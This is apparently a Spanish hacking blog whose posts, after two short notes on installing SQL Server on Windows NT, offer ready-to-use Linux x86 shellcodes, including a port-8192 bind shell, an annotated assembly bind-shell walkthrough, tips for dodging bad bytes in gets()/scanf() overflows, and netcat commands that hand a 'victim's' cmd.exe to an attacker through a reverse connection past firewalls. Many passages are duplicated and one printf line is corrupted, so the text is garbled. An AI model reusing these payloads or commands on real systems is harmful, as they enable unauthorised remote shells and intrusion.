This is featured post 1 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
This is featured post 2 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
Configurando Microsoft Windows NT para instalación de SQL server
Posted by kasp3r11
13:40, under mysql |
Antes de empezar con la instalación de SQL server, debes considerar los ajustes de windows NT, incluyendo características tales como estas:
¨ Requerimientos de hardware y software minimos.
¨ Arquitectura de seguridad y dominio.
¨ Nombre del servidor.
¨ Localización de la instalación de SQL Server.
SQL Server corre unicamente sobre Digital Alpha, MIPS, Power PC y sistemas de Intel.
SQL Server requiere un sitema con 16 MB de RAM. SI el servidor participara en replicación como un servidor de distribución, entonces 32 MB de RAM son requeridos.
Los requerimientos de disco duro varian dependiendo del tamaño del dispositivo maestro seleccionado, si el paquete de libros el linea es instalado localmente, corre desde CD-ROM, o si no es instalado. Un instalación miníma requiere 60 MB de espacio en disco. Los libros en linea añaden aproximadamente 15 MB. Si es una instalción de actualización, 50 MB de disco serán requeridos.
Master device
Es el dispositivo que es automaticamente instalado con SQL Server y es usado para almacenar los registros de transacción y bases de datos del sistema master, model y tempdb, y el registro de transacción y base de datos de prueba pubs.
SQL Server pude ser comprado en dos diferentes paquetes: SQL Workstation y SQL Server. SQL Workstation es un producto usado por desarrolladores para desarrollar y examinar software. SQL Workstation tiene licencia para un solo usuario, un minímo de 15 conecciones cliente, e incluye herramientas de desarrollador. Este corre ya sea en Windows NT Server o Workstatio. El paquete de SQL Server no tiene ningunas limitaciones sobre conecciones de usuario.
SQL Server soporta los protocolos de res más importantes, sin la necesidad de software adcional. Tales como: NETBEUI, TECP/IP, NWLink conpatible con Novell, y muchos otros. SQL Server también soporta todas las tarjetas de red como lo hace Windows NT.
Instalación y actualización del servidor
Posted by kasp3r11
13:39, under mysql |
El primer paso para aprender cualquier producto es familiarizarse con su instalación y configuración.
Objetivos
¨ Configurar Microsoft windows NT para instalar el server SQL.
¨ Configurar El Servidor SQL para varios escenarios de memoria.
¨ Configurar SQL ejecutivo para acceder como un servicio.
¨ Instalar soporte de cliente para protocolos de red en lugar de Named pipes.
¨ Cargar bibliotecas de red multiples.
¨ Actualizar el SQL Server 4.2 a SQL Server 6.5.
¨ Establecer un modo de seguridad.
Recopilacion de shellcodes / extractor
Posted by kasp3r11
13:35, under shell |
Aqui pego una recopilacion de scodes listas para ser usadas. Para
'extraerlas': nextract archivo.txt. Por cierto que todas son made by RaiSe
(algunas como la alfanumerica compartiendo ideas con Zer0 y Fatuo ;) ).
<++> shellcodes/sc-esp.c $8308a7a77bbe3103152344e40da5df0d
// scode '%esp' sobreescrito
char shellc[128]=
"\xeb\x1f\x5f\x89\xfb\x31\xc0\x88\x47\x07\x89\x7f\x08\x89\x47"
"\x0c\x8d\x4f\x08\x8d\x57\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xbc\xf0\xff\xff\xbf\xe8\xd7\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68";
<-->
<++> shellcodes/sc-oneline.c $cfec37c76b30001d337f80e7eb35b206
// scode sin retornos de linea
char shellc[128]=
"\xeb\x19\x5f\x89\x7f\x10\x31\xd2\x88\x57\x07\x89\x57\x14\x89"
"\xfb\x8d\x42\x50\x8d\x4f\x10\x83\xe8\x45\xcd\x80\xe8\xe2\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
<-->
<++> shellcodes/sc-mini.c $9d747e94e6be0a71682e2dd1ab6b77d8
// miniscode, 24 bytes
char shellc[128]=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
<-->
<++> shellcodes/sc-portshell.c $ecba7d17930eb1b3d596b5eb21c431ce
// scode que enlaza una shell en el puerto 8192
char shellc[512]=
"\x4c\x4c\x4c\x4c\x5f\x89\xfc\x31\xc0\x89\xc3\xb0\x02\xcd\x80"
"\x39\xc3\x74\x05\x8d\x43\x01\xcd\x80\x31\xd2\x89\x57\x08\x42"
"\x89\x57\x04\x42\x89\x17\x89\xf9\x31\xdb\x43\x8d\x43\x65\xcd"
"\x80\x89\xc6\x31\xd2\x89\x17\xc6\x07\x02\xc6\x47\x02\x20\x89"
"\x57\x04\x89\x77\x08\x89\x7f\x0c\x89\x57\x10\xc6\x47\x10\x10"
"\x8d\x42\x66\x8d\x5a\x02\x8d\x4f\x08\xcd\x80\x89\x37\x89\x57"
"\x04\xc6\x47\x07\x01\x8d\x42\x66\x8d\x5a\x04\x89\xf9\xcd\x80"
"\x89\x57\x04\x89\x57\x08\x8d\x42\x66\x8d\x5a\x05\xcd\x80\x89"
"\xc3\x31\xc9\x8d\x42\x3f\xcd\x80\x8d\x42\x3f\x41\xcd\x80\x8d"
"\x42\x3f\x41\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
<-->
<++> shellcodes/sc-alfa.c $f9c01b11bf127c80454b55d2ea3525ef
// scode alfanumerica
// nop is 'E'
char shellc[128]=
"LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX"
"3HX1HX1XX3XXZYJf1UVBj8X0EW432G";
<-->
<++> shellcodes/scodes.h $7986750a103954c2ac983bee2abd34cd
// Extractor de shellcodes by RaiSe
// NetSearch Ezine
// Testeado en redhat 6.0
#define SIZE 2048
int printsc (int funcion)
{
int i,cc;
char dst[SIZE],buf[SIZE],*p;
p=(char *)funcion;
sprintf(buf,"%s",p);
p=dst;
printf("\nExtractor de shellcodes");
printf("\nRaiSe - NetSearch Ezine\nhttp://www.netsearch-ezine.com\n");
for(i=3;i<strlen(buf);i++)
{
sprintf(p,"%08x",buf[i]);
*p=*(p+6);
*(p+1)=*(p+7);
p+=2;
}
*p=0x00;
i=0;
printf("\nchar shellc[]=");
while(dst[i]!=0x00)
{
printf("\n\"");
for(cc=0;cc<15;cc++)
{
if(dst[i]==0x00) break;
printf("file://x%25c%25c%22,dst[i],dst[i+1/]);
i+=2;
}
printf("\"");
}
printf(";\n\n");
return(1);
}
<-->
-------------------
by: kasper11@masterhacks.net
'extraerlas': nextract archivo.txt. Por cierto que todas son made by RaiSe
(algunas como la alfanumerica compartiendo ideas con Zer0 y Fatuo ;) ).
<++> shellcodes/sc-esp.c $8308a7a77bbe3103152344e40da5df0d
// scode '%esp' sobreescrito
char shellc[128]=
"\xeb\x1f\x5f\x89\xfb\x31\xc0\x88\x47\x07\x89\x7f\x08\x89\x47"
"\x0c\x8d\x4f\x08\x8d\x57\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xbc\xf0\xff\xff\xbf\xe8\xd7\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68";
<-->
<++> shellcodes/sc-oneline.c $cfec37c76b30001d337f80e7eb35b206
// scode sin retornos de linea
char shellc[128]=
"\xeb\x19\x5f\x89\x7f\x10\x31\xd2\x88\x57\x07\x89\x57\x14\x89"
"\xfb\x8d\x42\x50\x8d\x4f\x10\x83\xe8\x45\xcd\x80\xe8\xe2\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
<-->
<++> shellcodes/sc-mini.c $9d747e94e6be0a71682e2dd1ab6b77d8
// miniscode, 24 bytes
char shellc[128]=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
<-->
<++> shellcodes/sc-portshell.c $ecba7d17930eb1b3d596b5eb21c431ce
// scode que enlaza una shell en el puerto 8192
char shellc[512]=
"\x4c\x4c\x4c\x4c\x5f\x89\xfc\x31\xc0\x89\xc3\xb0\x02\xcd\x80"
"\x39\xc3\x74\x05\x8d\x43\x01\xcd\x80\x31\xd2\x89\x57\x08\x42"
"\x89\x57\x04\x42\x89\x17\x89\xf9\x31\xdb\x43\x8d\x43\x65\xcd"
"\x80\x89\xc6\x31\xd2\x89\x17\xc6\x07\x02\xc6\x47\x02\x20\x89"
"\x57\x04\x89\x77\x08\x89\x7f\x0c\x89\x57\x10\xc6\x47\x10\x10"
"\x8d\x42\x66\x8d\x5a\x02\x8d\x4f\x08\xcd\x80\x89\x37\x89\x57"
"\x04\xc6\x47\x07\x01\x8d\x42\x66\x8d\x5a\x04\x89\xf9\xcd\x80"
"\x89\x57\x04\x89\x57\x08\x8d\x42\x66\x8d\x5a\x05\xcd\x80\x89"
"\xc3\x31\xc9\x8d\x42\x3f\xcd\x80\x8d\x42\x3f\x41\xcd\x80\x8d"
"\x42\x3f\x41\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
<-->
<++> shellcodes/sc-alfa.c $f9c01b11bf127c80454b55d2ea3525ef
// scode alfanumerica
// nop is 'E'
char shellc[128]=
"LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX"
"3HX1HX1XX3XXZYJf1UVBj8X0EW432G";
<-->
<++> shellcodes/scodes.h $7986750a103954c2ac983bee2abd34cd
// Extractor de shellcodes by RaiSe
// NetSearch Ezine
// Testeado en redhat 6.0
#define SIZE 2048
int printsc (int funcion)
{
int i,cc;
char dst[SIZE],buf[SIZE],*p;
p=(char *)funcion;
sprintf(buf,"%s",p);
p=dst;
printf("\nExtractor de shellcodes");
printf("\nRaiSe - NetSearch Ezine\nhttp://www.netsearch-ezine.com\n");
for(i=3;i<strlen(buf);i++)
{
sprintf(p,"%08x",buf[i]);
*p=*(p+6);
*(p+1)=*(p+7);
p+=2;
}
*p=0x00;
i=0;
printf("\nchar shellc[]=");
while(dst[i]!=0x00)
{
printf("\n\"");
for(cc=0;cc<15;cc++)
{
if(dst[i]==0x00) break;
printf("file://x%25c%25c%22,dst[i],dst[i+1/]);
i+=2;
}
printf("\"");
}
printf(";\n\n");
return(1);
}
<-->
-------------------
by: kasper11@masterhacks.net
Enlazar un puerto con una shell usando sockets
Posted by kasp3r11
13:30, under shell |
Pues bien, esta es una shellcode que enlaza un puerto con una shell como muy
bien dice el titulo de este apartado (vease 3 lineas para arriba ;) ). La
verdad es que no tiene ningun misterio, simplemente hay que saber un par de
cosas a la hora de usar sockets..
+ El codigo de la syscall siempre sera 0x66 y se coloca en %eax
+ En %ebx se coloca el codigo de la subrutina, que puede mirarse en
/usr/include/linux/net.h.
+ En %ecx se coloca la direccion de la lista de argumentos. Este caso en
un tanto especial ya que la lista no tiene que estar terminada por un nulo,
sino que se encarga el sistema de saber cuantos argumentos necesita cada
syscall.
+ La estructura sockaddr_in se consigue copiando los valores de cada elemento
en en forma de media palabra (2 bytes).
+ La syscall definitiva se ejecuta con int $0x80 (esto tampoco cambia).
La manera de enlazar el puerto con la scode se consigue ejecutando una serie
de syscall's consecutivamente:
+--------------------------------------------------------+
| |
| fork() -> exit() proceso padre -> socket() -> bind() |
| -> listen() -> accept() -> dup2() -> execve() |
| |
+--------------------------------------------------------+
Asi, resumido brevemente, seria crear un proceso con fork, crear un socket
con idem, enlazar el socket con bind, ponerlo a la escucha con listen,
aceptar 'una' conexion con accept, redireccionar las entradas/salidas con
dup2 hacia el socket, y ejecutar una shell. Es importante recalcar que el
codigo no vuelve a ejecutar accept() una y otra vez con un bucle, sino que en
cuanto se establezca una conexion con el puerto en cuestion y se termine la
comunicacion, el proceso desaparecera y no se podra volver a conectar.
El codigo en C mas sencillo para hacer esto seria mas o
menos el siguiente:
<-- codigo C -->
int soc_local,soc_remoto; // declarar los sockets
struct sockaddr_in addr_l; // declarar la estructura sockaddr_in
soc_local=socket(2,1,0); // crear el socket
addr_l.sin_family = 2; // family = AF_INET
addr_l.sin_port = 0x20; // puerto 0x2000 = 8192
addr_l.sin_addr.s_addr = 0; // s_addr = INADDR_ANY
bind(soc_local,(struct sockaddr *) &addr_l, 0x10); // enlazar el socket
listen(soc_local,1); // poner el socket a la escucha
soc_remoto=accept(soc_local,0, 0); // aceptar conexion
dup2(soc_remoto,0);
dup2(soc_remoto,1); // duplicar descriptores
dup2(soc_remoto,2);
execl("/bin/sh","sh",0); // ejecutar /bin/sh
<-- fin codigo C -->
El codigo en asm seria el siguiente (el codigo esta sin optimizar,
seguramente sobraran unos 50 bytes..):
<-- codigo -->
__asm__("
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
popl %edi // copia la dire de retorno de la funcion
// anterior en %edi (dicha direccion siempre
// estara en %esp-4 sino se toco nada de la
// pila despues del ret).
movl %edi,%esp // copia %edi a %esp, esto se hace para
// poder hacer push's a saco sin preocupar-
// nos de sobreescribir la shellcode, ya
// que %esp siempre apuntara 'por encima'
// de la shellcode.
// fork
xorl %eax,%eax // pone %eax a 0
movl %eax,%ebx // copia %eax a %ebx, %ebx=0
movb $0x2,%al // %eax=0x2 (fork)
int $0x80 // ejecuta el fork()
cmpl %eax,%ebx // compara si %eax es 0
je 0x5 // si %eax=0 salta el exit() que viene a
// continuacion
// exit
leal 0x1(%ebx),%eax // pone %eax a 0x1 (exit)
int $0x80 // ejecuta exit() (proceso padre)
// socket
xorl %edx,%edx // pone %edx a 0
movl %edx,0x8(%edi) // copia un long null a la dire %edi+8
incl %edx // %edx=1
movl %edx,0x4(%edi) // copia 0x00000001 a la dire %edi+4
incl %edx // %edx=2
movl %edx,(%edi) // copia 0x00000002 a la dire %edi
movl %edi,%ecx // copia %edi a %ecx
xorl %ebx,%ebx // pone %ebx a 0
incl %ebx // pone %ebx a 1 (socket)
leal 0x65(%ebx),%eax // pone %eax a 0x66
int $0x80 // ejecuta socket(2,1,0)
// bind
movl %eax,%esi // copia 'soc_local' en %esi
xorl %edx,%edx // pone %edx a 0
movl %edx,(%edi) // copia un long null a la dire %edi
movb $0x2,(%edi) // pone 0x0002 en la dire %edi (1 hword)
movb $0x20,0x2(%edi) // pone 0x20 en la dire %edi+2
movl %edx,0x4(%edi) // copia un long null a la dire %edi+4
movl %esi,0x8(%edi) // copia 'soc_local' a la dire %edi+8
movl %edi,0xc(%edi) // copia la dire de sockaddr_in a %edi+0xc
movl %edx,0x10(%edi) // copia un long null a la dire %edi+0x10
movb $0x10,0x10(%edi) // pone en la dire %edi+0x10 0x00000010
// Con esto estamos declarando la lista de
// argumentos de bind(). La direccion de
// dicha lista se copiara a %ecx.
leal 0x66(%edx),%eax // pone %eax=0x66
leal 0x2(%edx),%ebx // %ebx=2 (bind)
leal 0x8(%edi),%ecx // carga la dire de sockaddr_in en %ecx
int $0x80 // ejecuta bind()
// listen
movl %esi,(%edi) // copia 'soc_local' a la dire %edi
movl %edx,0x4(%edi) // long null a la dire %edi+4
movb $0x1,0x4(%edi) // 0x00000001 en la dire %edi+4
leal 0x66(%edx),%eax // carga 0x66 en %eax
leal 0x4(%edx),%ebx // %ebx = 4 (listen)
movl %edi,%ecx // lista de argumentos en %ecx
int $0x80 // ejecuta listen()
// accept
movl %edx,0x4(%edi) // long null a la dire %edi+4
movl %edx,0x8(%edi) // long null a la dire %edi+8
// en la dire %edi sigue estando soc_local
leal 0x66(%edx),%eax // %eax=0x66
leal 0x5(%edx),%ebx // %ebx = 5 (accept)
int $0x80 // ejecuta accept()
// dup2
movl %eax,%ebx // copia 'soc_remoto' a %ebx
xorl %ecx,%ecx // %ecx = 0
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
int $0x80 // ejecuta dup2(soc_remoto,0)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,1)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,2)
// execve
xorl %edx,%edx // %edx=0
pushl %edx // long null a la pila
pushl $0x68732f6e //
pushl $0x69622f2f // coloca el string /bin/sh seguido del
// nulo q pusimos antes (pushl %edx) en
// la pila.
movl %esp,%ebx // carga la dire del string en %ebx
pushl %edx // long null a la pila
pushl %ebx // dire del string a la pila
movl %esp,%ecx // carga la dire de los args en %ecx
leal 0xb(%edx),%eax // %eax=0xb
int $0x80 // ejecuta execve()
");
<-- fin codigo -->
Una vez que se ejecute abrira un puerto (segun esta configurada el 8192) y
aceptara UNA conexion, despues se cerrara el puerto y adios muy buenas.. Si
quieres mejorar esta shellcode no dudes en mandarme un mail ;).
bien dice el titulo de este apartado (vease 3 lineas para arriba ;) ). La
verdad es que no tiene ningun misterio, simplemente hay que saber un par de
cosas a la hora de usar sockets..
+ El codigo de la syscall siempre sera 0x66 y se coloca en %eax
+ En %ebx se coloca el codigo de la subrutina, que puede mirarse en
/usr/include/linux/net.h.
+ En %ecx se coloca la direccion de la lista de argumentos. Este caso en
un tanto especial ya que la lista no tiene que estar terminada por un nulo,
sino que se encarga el sistema de saber cuantos argumentos necesita cada
syscall.
+ La estructura sockaddr_in se consigue copiando los valores de cada elemento
en en forma de media palabra (2 bytes).
+ La syscall definitiva se ejecuta con int $0x80 (esto tampoco cambia).
La manera de enlazar el puerto con la scode se consigue ejecutando una serie
de syscall's consecutivamente:
+--------------------------------------------------------+
| |
| fork() -> exit() proceso padre -> socket() -> bind() |
| -> listen() -> accept() -> dup2() -> execve() |
| |
+--------------------------------------------------------+
Asi, resumido brevemente, seria crear un proceso con fork, crear un socket
con idem, enlazar el socket con bind, ponerlo a la escucha con listen,
aceptar 'una' conexion con accept, redireccionar las entradas/salidas con
dup2 hacia el socket, y ejecutar una shell. Es importante recalcar que el
codigo no vuelve a ejecutar accept() una y otra vez con un bucle, sino que en
cuanto se establezca una conexion con el puerto en cuestion y se termine la
comunicacion, el proceso desaparecera y no se podra volver a conectar.
El codigo en C mas sencillo para hacer esto seria mas o
menos el siguiente:
<-- codigo C -->
int soc_local,soc_remoto; // declarar los sockets
struct sockaddr_in addr_l; // declarar la estructura sockaddr_in
soc_local=socket(2,1,0); // crear el socket
addr_l.sin_family = 2; // family = AF_INET
addr_l.sin_port = 0x20; // puerto 0x2000 = 8192
addr_l.sin_addr.s_addr = 0; // s_addr = INADDR_ANY
bind(soc_local,(struct sockaddr *) &addr_l, 0x10); // enlazar el socket
listen(soc_local,1); // poner el socket a la escucha
soc_remoto=accept(soc_local,0, 0); // aceptar conexion
dup2(soc_remoto,0);
dup2(soc_remoto,1); // duplicar descriptores
dup2(soc_remoto,2);
execl("/bin/sh","sh",0); // ejecutar /bin/sh
<-- fin codigo C -->
El codigo en asm seria el siguiente (el codigo esta sin optimizar,
seguramente sobraran unos 50 bytes..):
<-- codigo -->
__asm__("
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
popl %edi // copia la dire de retorno de la funcion
// anterior en %edi (dicha direccion siempre
// estara en %esp-4 sino se toco nada de la
// pila despues del ret).
movl %edi,%esp // copia %edi a %esp, esto se hace para
// poder hacer push's a saco sin preocupar-
// nos de sobreescribir la shellcode, ya
// que %esp siempre apuntara 'por encima'
// de la shellcode.
// fork
xorl %eax,%eax // pone %eax a 0
movl %eax,%ebx // copia %eax a %ebx, %ebx=0
movb $0x2,%al // %eax=0x2 (fork)
int $0x80 // ejecuta el fork()
cmpl %eax,%ebx // compara si %eax es 0
je 0x5 // si %eax=0 salta el exit() que viene a
// continuacion
// exit
leal 0x1(%ebx),%eax // pone %eax a 0x1 (exit)
int $0x80 // ejecuta exit() (proceso padre)
// socket
xorl %edx,%edx // pone %edx a 0
movl %edx,0x8(%edi) // copia un long null a la dire %edi+8
incl %edx // %edx=1
movl %edx,0x4(%edi) // copia 0x00000001 a la dire %edi+4
incl %edx // %edx=2
movl %edx,(%edi) // copia 0x00000002 a la dire %edi
movl %edi,%ecx // copia %edi a %ecx
xorl %ebx,%ebx // pone %ebx a 0
incl %ebx // pone %ebx a 1 (socket)
leal 0x65(%ebx),%eax // pone %eax a 0x66
int $0x80 // ejecuta socket(2,1,0)
// bind
movl %eax,%esi // copia 'soc_local' en %esi
xorl %edx,%edx // pone %edx a 0
movl %edx,(%edi) // copia un long null a la dire %edi
movb $0x2,(%edi) // pone 0x0002 en la dire %edi (1 hword)
movb $0x20,0x2(%edi) // pone 0x20 en la dire %edi+2
movl %edx,0x4(%edi) // copia un long null a la dire %edi+4
movl %esi,0x8(%edi) // copia 'soc_local' a la dire %edi+8
movl %edi,0xc(%edi) // copia la dire de sockaddr_in a %edi+0xc
movl %edx,0x10(%edi) // copia un long null a la dire %edi+0x10
movb $0x10,0x10(%edi) // pone en la dire %edi+0x10 0x00000010
// Con esto estamos declarando la lista de
// argumentos de bind(). La direccion de
// dicha lista se copiara a %ecx.
leal 0x66(%edx),%eax // pone %eax=0x66
leal 0x2(%edx),%ebx // %ebx=2 (bind)
leal 0x8(%edi),%ecx // carga la dire de sockaddr_in en %ecx
int $0x80 // ejecuta bind()
// listen
movl %esi,(%edi) // copia 'soc_local' a la dire %edi
movl %edx,0x4(%edi) // long null a la dire %edi+4
movb $0x1,0x4(%edi) // 0x00000001 en la dire %edi+4
leal 0x66(%edx),%eax // carga 0x66 en %eax
leal 0x4(%edx),%ebx // %ebx = 4 (listen)
movl %edi,%ecx // lista de argumentos en %ecx
int $0x80 // ejecuta listen()
// accept
movl %edx,0x4(%edi) // long null a la dire %edi+4
movl %edx,0x8(%edi) // long null a la dire %edi+8
// en la dire %edi sigue estando soc_local
leal 0x66(%edx),%eax // %eax=0x66
leal 0x5(%edx),%ebx // %ebx = 5 (accept)
int $0x80 // ejecuta accept()
// dup2
movl %eax,%ebx // copia 'soc_remoto' a %ebx
xorl %ecx,%ecx // %ecx = 0
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
int $0x80 // ejecuta dup2(soc_remoto,0)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,1)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,2)
// execve
xorl %edx,%edx // %edx=0
pushl %edx // long null a la pila
pushl $0x68732f6e //
pushl $0x69622f2f // coloca el string /bin/sh seguido del
// nulo q pusimos antes (pushl %edx) en
// la pila.
movl %esp,%ebx // carga la dire del string en %ebx
pushl %edx // long null a la pila
pushl %ebx // dire del string a la pila
movl %esp,%ecx // carga la dire de los args en %ecx
leal 0xb(%edx),%eax // %eax=0xb
int $0x80 // ejecuta execve()
");
<-- fin codigo -->
Una vez que se ejecute abrira un puerto (segun esta configurada el 8192) y
aceptara UNA conexion, despues se cerrara el puerto y adios muy buenas.. Si
quieres mejorar esta shellcode no dudes en mandarme un mail ;).
Shellcode sin retornos de linea
Posted by kasp3r11
7:02, under shell |
Hay veces que necesitamos tener la shellcode en una sola linea sin retornos
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..
En otras ocasiones, aun teniendo una scode sin retornos de linea no es
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:
. Retornos de linea:
+ '\f', 0x0c, salto de pagina.
+ '\n', 0x0a, salto de linea.
+ '\r', 0x0d, salto de carro.
+ '\v', 0x0b, tabulacion vertical.
+ '\n', 0x0a, salto de linea.
+ '\r', 0x0d, salto de carro.
+ '\v', 0x0b, tabulacion vertical.
. Espacios:
+ '\b', 0x08, espacio atras.
+ '\t', 0x09, tabulacion horizontal.
+ ' ', 0x20, espacio en blanco.
+ '\t', 0x09, tabulacion horizontal.
+ ' ', 0x20, espacio en blanco.
Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):
+ mov %eax,0xc(%esi) --> 1 salto de linea
+ lea 0xc(%esi),%edx --> 1 salto de linea
+ mov $0xb,%al --> 1 tabulacion vertical
+ mov %esi,0x8(%esi) --> 1 espacio atras
+ lea 0x8(%esi),%ecx --> 1 espacio atras
Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:
<-- codigo -->
__asm__("
jmp 0x19
popl %edi
movl %edi,0x10(%edi)
xorl %edx,%edx
movb %dl,0x7(%edi)
movl %edx,0x14(%edi)
movl %edi,%ebx
leal 0x50(%edx),%eax
leal 0x10(%edi),%ecx
subl $0x45,%eax
int $0x80
call -0x1e
.string \"/bin/sh\"
");
jmp 0x19
popl %edi
movl %edi,0x10(%edi)
xorl %edx,%edx
movb %dl,0x7(%edi)
movl %edx,0x14(%edi)
movl %edi,%ebx
leal 0x50(%edx),%eax
leal 0x10(%edi),%ecx
subl $0x45,%eax
int $0x80
call -0x1e
.string \"/bin/sh\"
");
<-- fin codigo -->
Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. ;).
by:kasper11
Pasando el codigo a un string
Posted by kasp3r11
12:41, under shell |
La forma de utilizarlo es la sencilla. La estructura del programa en C con el
codigo de la scode tiene que tener un estilo de este tipo:
codigo de la scode tiene que tener un estilo de este tipo:
<-- codigo -->
#include ..tal..
#include <scodes.h>
#include <scodes.h>
void shellcode()
{
__asm__("
codigo de la shellcode
.byte 0x00
");
}
{
__asm__("
codigo de la shellcode
.byte 0x00
");
}
main()
{
printsc((int)shellcode);
}
{
printsc((int)shellcode);
}
<-- fin codigo -->
La funcion printsc() esta declarada en el fichero scodes.h que se incluye al
final de este articulo (apartado recopilacion). La forma de llamar a dicha
funcion es la siguiente:
printsc((int)dire_funcion_scode);
Resumiendo, se mete el codigo de la shellcode en una funcion que solo
contenga un __asm__() con el code terminado de un null (.byte 0x00). Esto
ultimo es importante ya que sino lo ponemos la scode sera mas larga de lo que
deberia (se pasara al string el codigo del __asm__ y lo que haya a
continuacion), por lo tanto hay que poner el .byte 0x00 para diferenciar cual
es el final de nuestro codigo. El file scodes.h se copia a /usr/includes y se
incluye en nuestro prog con #include <scodes.h>.
La scode se muestra por pantalla ordenada y esop, luego solo es cuestion de
cut & paste ;).
cut & paste ;).
obtener la shell
Posted by kasp3r11
14:44, under shell |
Conseguir Shell en Netcat
BY:KASPER11
Hay dos maneras de conseguir shell por conexión directa o inversa, mostraré las dos pero os aconsejo que useis la inversa ya que os saltais unos cuantos firewalls
Conexión Directa
En este tipo de conexión tú te conectas a la victima, el funcionamiento sería el siguiente:
Código:
nc -l -p 123 -e cmd.exe
[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto
[+]-e: Permite ejecutar un comando, en nuestro caso cmd.exe (Shell)
Ese sería el comando que tendría que ejecutar la víctima
Código:
Telnet 192.168.1.33 123
Y ahi es donde nosotros nos tendríamos que conectar, entonces ya tendriamos Shell :P
Inversa
Código:
nc -v -l -p 123
[+]-v: Informa del estado de Netcat
[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto
Esos serían los comandos que tenemos que teclear, mientras que nuestra víctima tiene que ejcutar los siguientes comandos
Código:
nc 192.168.1.33 123 -e cmd.exe
Con lo que la Shell la consigue el usuario que esta en escucha en este caso nosotros, y asi tenemos shell y evitamos que no salte el firewall de nuestra victima :P
Esto es todo, espero que os haya gustado el tutorial saludos¡¡¡¡